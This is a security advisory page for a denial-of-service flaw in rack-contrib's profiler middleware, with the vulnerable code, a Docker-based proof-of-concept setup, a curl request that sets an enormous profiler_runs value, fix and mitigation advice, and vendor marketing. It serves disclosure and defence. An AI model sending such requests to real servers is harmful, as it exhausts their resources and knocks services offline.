GHSA-8c8q-2xw3-j869
HIGHrack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
rack-contribReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).
runs = (request.params['profiler_runs'] || @times).to_i
result = @profile.profile do
runs.times { @app.call(env) }
end
An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.
PoC
Herein the config.ru file:
require 'rack'
require 'rack/contrib'
use Rack::Profiler # if ENV['RACK_ENV'] == 'development'
# Define a Rack application
app = lambda do |env|
# Your application logic goes here
[200, {}, ["Hello World"]]
end
# Run the Rack application
run app
A Dockerfile:
# Use the official Ruby image as a base
FROM ruby:latest
# Set the working directory inside the container
WORKDIR /app
# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .
# Install rack and the gems needed to run the app
RUN bundle install
# Expose the port that rackup will listen on
EXPOSE 9292
# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]
# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1
A Gemfile
source 'https://rubygems.org'
gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'
A Docker compose
services:
app:
build:
context: .
ports:
- "9292:9292"
To run the PoC
docker compose up --build
To exploit DoS:
curl "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"
Impact
- Potential denial of service by remotely user-controlled data.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | rack-contrib | all versions | 2.5.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for rack-contrib. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update rack-contrib to 2.5.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8c8q-2xw3-j869 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-8c8q-2xw3-j869 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-8c8q-2xw3-j869. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-8c8q-2xw3-j869 in your dependencies?
O3 detects GHSA-8c8q-2xw3-j869 across RubyGems dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.